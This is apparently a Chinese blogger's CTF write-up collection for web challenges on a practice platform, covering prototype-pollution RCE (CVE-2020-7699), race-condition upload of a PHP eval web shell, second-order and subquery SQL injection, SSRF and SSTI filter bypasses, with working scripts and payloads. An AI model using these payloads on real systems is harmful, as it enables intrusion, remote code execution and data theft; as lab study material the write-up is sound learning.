攻防世界-web题型-5星难度汇总-个人wp

checkInGame

初步看没有看出什么title说什么连连看,然后看页面有连个标签被注释了,解开后这个按钮点了也没有用

扫目录没有扫出什么,我感觉又是考的js相关的,只有考这方面的我不敏感

按理来说应该会加载js文件但是这里看请求发现都没有加载出来

不会是靶场出问题了吧。。。

看wp吧还是。。。

是靶场坏了......

2024/02/03 12:42 任然没有修复

BadProgrammer

网站进去后是一个英文网站,不是中文差评。整体来看是一个页面的框架,在页面上点来点去没有反应

没啥线索扫一下目录,寄扫目录页没有啥发现,看页面的源码也没有什么提示好像,不会又要猜考点吧。。。

就扫到个static,访问也就一些页面渲染文件。难道考点在js里面,看了下没有中文提示。。。

OK不知道看wp

没想到是目录穿越获取到nginx的配置文件然后加一个什么原型链污染,后面这几个我还没有遇到过

对于此漏洞网上是这样解释的

估计就是和这个有关

有一说一他这个json内容我都不是很清楚是做什么的,没有做过js的相关web开发,只会一些js的语法

另外这个发现这个也给出了线索,我当时也看了这个东西,不认识就没有注意。。。。以后对于xpb要注意一点了

查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699(想不到。。。),原型链污染漏洞。

通过污染ejs中outputFunctionName变量,实现RCE:

payload:

import requests

resp1=requests.post("http://61.147.171.105:49219/4_pATh_y0u_CaNN07_Gu3ss",
                    files={'__proto__.outputFunctionName':
                               (
                                   None,"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='echo 1 > /app/static/1.txt')
                               )})
print(resp1)

 

这是个无回显的rce,按理来说应该可以反弹shell的

我甚至连对面的static的绝对路径都不知道,看wp是在/app下。

js好像没有webshell。又是无回显rce。

不过这也难不倒我,将ls /的结果输出到1.txt就可以了

OK发现flag.txt了

在cat /fl;ag.txt > /app/static/1.txt

做完又看了一遍其他人的wp

不好意思确实应该集中一点数据的没想到这里出现了绝对地址

遇到这种CVE的漏洞可以去寻找相关的资料进一步的了解一下CVE-2020-7699

2024/01/31 20:22

题目名称-warmup

随便输入一个账号密码立马报错

什么ip状态被改变了。首先是想到修改请求头的ip字段

用了一些常见了发现没有用但是我在此之间发现了cookie中有一个base64编码的东西,好奇我就解开看了

是一个序列化的对象

但是我尝试替换ip地址为127.0.0.1后任然没有效果,而且无论密码正确与否都会显示这个鬼WAF

题目附带了附件,看一看里面是什么

看源码的同时顺便扫一扫目录

其实看这个就相当于看源码了,但是确实没有看到绕过的方式

看源码的意思这里应该不会有问题一样

第一次访问就会给一个远程地址,第二次访问如果远程地址不同才会报错,可以地址应该不会改变吧。。。我也说不清楚,反正我把cookie删除了就没事了

说实话这里过滤了太多东西了,给我看源码我都有点不确定是不是下一步依然是SQL注入了

没想到前面的那个序列化是用在这里的,确实一下子没反应过来,这里也可以反序列化这个sql的类。

同时我看table是自定义的无法是修改我就没往这方面想。。。

虽然这里可以自定义传入table,但是table也做了检测

wp的方式并不是注入,而是符合题目的规则拿到flag

我们可以再看一下拿到flag的条件,要求是取出的数据username是admin,也就说按照正常的流程只有输入了正确的admin账号和密码才会返回的结果username是admin,我们并不知道正确的账号和密码,这里看了网上的payload,确实骚

table的值为(select 'admin' username,'123' password)a

这个的作用就是创建一个子查询,但是这个子查询做出来一个虚拟的表,只在本sql语句中生效,所以这里后面更上的username=admin和password=123是在这个虚拟表里面取出来的,但是依然满足了他的条件

$row['username'] === 'admin'

弄明白了他的思路接下来就比较好做了

把它序列化一下再发过去

这里为什么反序列化会可以直接进入到sql执行,是因为有一个wakeup函数

抓个刷新页面的包,替换一下这个last_login_info

cyberpeace{a7adfadd9f72a3b3b9469f4b5a4e4d04}

这道题出的还是很有意思,好题

wzsc_文件上传

这个靶场上传了文件就跳转到一个空页面,抓包重发返回的是200,不清楚是不是玩的不显示是否上传成功,先扫描一下目录

扫目录发现了flag文件,还有这个upload的也很可疑

不过好歹找到上传到哪里了

接下里就是绕过看是怎么一个过滤的方式,首先对面是个apache,看他有没有过滤什么后缀,我以前做的题玩文件上传的都是玩的解析漏洞

不妙,是个白名单,只允许图片类型的后缀上传,我先跑了一遍php文件的后缀格式,发现一个都没有上传成功,然后测试了一下常见的几种图片后缀都可以,然后测试了一下其他的乱七八糟的后缀也都没有上传成功。

尝试截断之类的方式

基本无效了。。。不过一般也不会考条件竞争的玩法

还是看看wp这个是怎么玩的。。。

。。。没想到真的是条件竞争的题

条件竞争我只在那个upload靶场里面玩过而且当时用的自己的虚拟机性能不怎么好好像还没有成功。。。

简单讲一下条件竞争

我们重复上传一个php文件,系统那边会先将传过来的文件保存在某个地方,然后再检测这个传上来的文件,所以理论上只要我们传了很多文件上去,然后我们提前比系统检测到文件快一步访问到这个文件,这个文件就会被执行,这个文件的内容一般是又创建一个文件并且里面有一句话木马,这个时候就相当于出现了一个webshell了

这里可以写个脚本来跑,不过我看网上还有使用bp的方式,我也不太清楚bp怎么来玩这个的

payload

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

首先抓个上传文件的包

替换payload,它这一题并没有对内容做过滤所以不需要添加头部信息

然后放到爆破器里,并且选择无payload和无限重复,这里一直上传文件的请求包就可以了

访问这个文件的请求包可以在这个请求包的基础上先修改请求方式为get

 

然后再修改请求的URl,我上传的是a.php这里就要是a.php

然后设置一下资源池,我这里是将上传和访问的设置为30

然后先开启访问的包,在开启上传的包

再在浏览器哪里刷新页面,一旦有了shell.php就说明成功了

上传成功就可以用蚁剑链接了

然后拿到flag

这道题也不算太难

2024/01/31 13:51

babyweb

进去就说什么不是内部用户

使用xff:127.0.0.1 无法绕过

应该不是请求头绕过的方式

它有提示是内网访问,然后也扫了目录也没有发现什么信息。。。

到底怎么样才算内部用户呢,我就好像用过这个请求头的信息

主要是一点提示都没有发现

再扫一遍目录这次扫所有文件类型看看有没有什么结果

跑完了没有什么有用的信息,好了不会绕过了看wp

要访问一个ssrf.php。。。

官方wp。。。

可以使用file协议

直接读取根目录下的flag

题目名称-SSRF Me

2024/01/28 20:20

一上来就是要先验证一个验证码

substr(md5(captcha), -6, 6) == "c9fa24"

不过奇怪的是我明明输入对了怎么还报错

明明没问题还是wrong

完第一步就g了,看wp到底是怎么回事

好吧我知道是什么原因了,这里只能输入数字类型的,不可以输入字符。。。

把这个index.php爬下来

 

<?php
error_reporting(0);
session_start();
require_once "lib.php";
init();

$is_die = 0;
$is_post = 0;
$die_mess = '';
$url = '';

if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
    $url = $_POST['url'];
    $captcha = $_POST['captcha'];
    $is_post = 1;
    if ( $captcha !== $_SESSION['answer'])
    {
        $die_mess = "wrong captcha";
        $is_die = 1;
    }

    if ( preg_match('/flag|proc|log/i', $url) )
    {
        $die_mess = "hacker";
        $is_die = 1;
    }
}
?>

lib.php

<?php
session_start();
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

function set_session()
{
    $answer = rand(1,100000);
    $_SESSION['captcha'] = substr(md5($answer),-6,6);
    $_SESSION['answer'] = strval($answer);
}

function destroy_session()
{
    $_SESSION = [];
}

function init()
{
    if (!isset($_SESSION['captcha']) || !isset($_SESSION['answer']) || isset($_GET['reset']))
    {
        destroy_session();
        set_session();
        isset($_GET['reset']) ? die("<script>location.href='./index.php'</script>") : 0;
    }
}

 

这里是盲猜在/flag下

但是过滤了flag,这里需要将flagURl编码一下就可以绕过

怎么说呢,以后遇到考这种MD5碰撞还是优先考虑数字型,今天不知道抽什么风用的随机字符去破解。。。

easy_web

2024/01/28 10:36

看到有输入框先测测有没有SQL注入,然后发现过滤了单引号和双引号和},

看了下数据包是python的后端,所以这里可能是SSTI,但是把花括号过滤了

然后发现有xss。。。不过应该没啥卵用,扫目录也都没有扫出东西

看wp了,666没想到用的这种鬼东西绕过︷ ︸

就是去找像花括号的来尝试 特殊符号: 符号大全-特殊符号-特殊符号大全

可以去尝试那些符号可绕过

比如:﹛﹛1+1﹜﹜

用这个符号可以用这个hackbar,前面那个不可以在这里输入。。。然后用绕过引号的方式就可以了,找到

 

unfinish

2024/01/27 20:56

开局一个login页面,先扫描一下目录

有个注册页面,先注册一个在尝试登录,登录进去后什么都没有就一个美女图片,不过有个upload的目录说不定有文件上传的地方

手工测试了一下login页面没有发现有sql的地方,然后注册页面更恶心没有回显直接跳转到登录页面不会告诉你有没有注册成功。。。

测试了一会应该是注册页面的username是注入点,因为输入单引号没有跳转返回的是200,而且这一题没有报错一定是盲注,并且fuzz一下发现过滤了 , 这还玩个集贸

逗号被过滤可以使用from for进行绕过

这个SQL注入有点复杂没搞明白看wp

看了wp发现原来登录后会显示用户名

我就说之前看页面代码的时候看到有这个图片怎么没有看到展示在哪里了。。。

这里可以尝试 ' 注册闭合就可以跳转到login没有闭合就不可以说明是单引号闭合方式

我注册一个0'+1+'0

显示1

看了wp的提示是一个二次注入

注册时插入数据的语句,这里大概就是这样的语句

insert into tables value('$email','$username','$passwpord');

我们这里注册0'+1+'0

insert into tables value('$email','0'+1+'0','$passwpord');

这里会进行运算,在mysql中'0'+'1a' 都会变为数字进行运算也就是1

然后取这个数据出来取的就是运算后的结果

我们这里可以构造 0'+ascii(substr(database(),1,1))

insert into tables value('$email','0'+ascii(substr(database(),1,1))','$passwpord');

转为ascii的值就算加上了0也不会被影响

这个注入的值会在登录后取出来

所以需要将每一个值注册然后获取到页面显示的信息

网上还有一种转换为hex的方式没看懂。。。

攻防世界web进阶区unfinish详解_攻防世界unfinish-CSDN博客

这里也是直接用wp里的脚本,脚本写起来不难拿的是二次注入的思路,我上一次接触二次注入还是sqlli那个靶场里面。。。

 

import requests
import re


register_url = '/register.php'
login_url = '/login.php'


for i in range(1, 100):
    register_data = {
        'email': '111@123.com%d' % i,
        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
        'password': 'admin'
    }
    res = requests.post(url=register_url, data=register_data)

    login_data = {
        'email': '111@123.com%d' % i,
        'password': 'admin'
    }
    res_ = requests.post(url=login_url, data=login_data)
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
    print(chr(int(code.group(1))), end='')

这里直接到flag中取数数据了,如果这里不是flag表光是找在表就要找死去。。。

ics-07

只有那个项目管理可以点进去,可以看到源码,直接先代码审计

第一段是用来进入这个页面

第二段接受两个变量,然后一个过滤

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){          die("Bad file extension");

匹配以 .php、.phtml、.tpl 或 .thtml 结尾的文件名。p[3457]? 表示匹配 p 后面跟着数字3、4、5或7,问号 ? 表示前面的字符(数字)出现零次或一次。说明过滤了一些php文件格式

chdir 函数用于改变当前工作目录到 'uploaded',然后打开$filename并且将$con的内容写入其中,也就是说这一段的东西就是如果是admin就可以写入内容到back目录下的文件里面其实就是上传文件的意思

继续对第三段代码审计

floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9'

强转为浮点数并弱比较不等于1,同时最后一个数字要为9

然后这里有一个sql查询的地方但是有个mysql_real_escape_string过滤函数

而且只是一个简单的拼接语句如果可以上面这个函数绕过就可以实现sql注入,但是这一题应该不是考的sql注入,应该是为了进入下的判断得到 $_SESSION['admin'] = True;

但是要想进入这一步需要取到数据$result = mysql_fetch_object($result);要有返回的结果且是一个真的值

题目提示是解析漏洞,还没发现哪里有解析的地方

基本的思路还是理清楚了,首先sql取回一个东西使我们变成admin然后才可以写东西到uploaded/backup下面

然后进行id尝试的时候发现

这个报错是一个很奇怪的报错我从来没有遇见过。估计所谓的解析就是和这个有关,不是很懂看wp学习一下。。。服了这个是靶场的问题

看了wp感觉怪怪的

floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9'

直接输入1a9这里就绕过了,主要是1a9怎么拿到数据库去查询这个ID值啊。。。难道数据库查询会自动删除后面的留下1?我在数据库试了不可以查询1a9这样的值。mysql_real_escape_string也只会做一些转义也不会自动把1后面的去除。

另外重启这个靶场还是有问题。。。服了

 

今天靶场修好了继续

输入1a9确实是绕过了

剩下的很简单了,有了admin就可以文件上传了,这里绕过就是apache2x的解析漏洞,原来了解析漏洞就是说的这个解析漏洞。

用蚁剑连接就可以了

bug

在能传参的地方都试过没有发现sql注入,,然后扫目录发现有个config文件和一个template目录下面有一些admin.php login.php。。。但是无权访问,另外注册一个新的账号也还是不可以登录进去。。。

也没有看到有什么越权的地方。。。没思路。看wp

。。。我这个环境有问题注册后不可以登录原来是可以登录的重启了靶场就可以了

登录进去一个manage不可以访问,然后personal可以看到一些自己的信息,可以看到我的uid是5,然后抓包尝试修改uid为其他发现不可以

然后根据wp的提示说cookie中的user就是这个的MD5加密。。。一般我都没怎么观察过cookie。

拿去解密看了确实是的,那么就尝试0:admin 1:admin 2:admin 这样,因为前面在进行登录的时候尝试过admin发现是存在这个用户的如果不存在这个用户就会返回另一种结果,在填这个密码的时候记得和user=直接不要有空格。。。

拿到这些信息就可以去重置admin的密码,使用得到的生日和地址修改密码为123然后进来了,再进入那个manage发现提示ip不在允许的范围,这个很简单加个xff的头就绕过了,然后进来后还是没有不过源码有提示

这里竟然是upload,不愧是ctf,提示都不给全的

提示要上传图片,但是我拿几种正常的图片他都上传不成功,这种题是最几把sb的,又不说清楚什么格式的可以上传,我试了几种类型的好像都不可以上传。。。

php4也可以

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值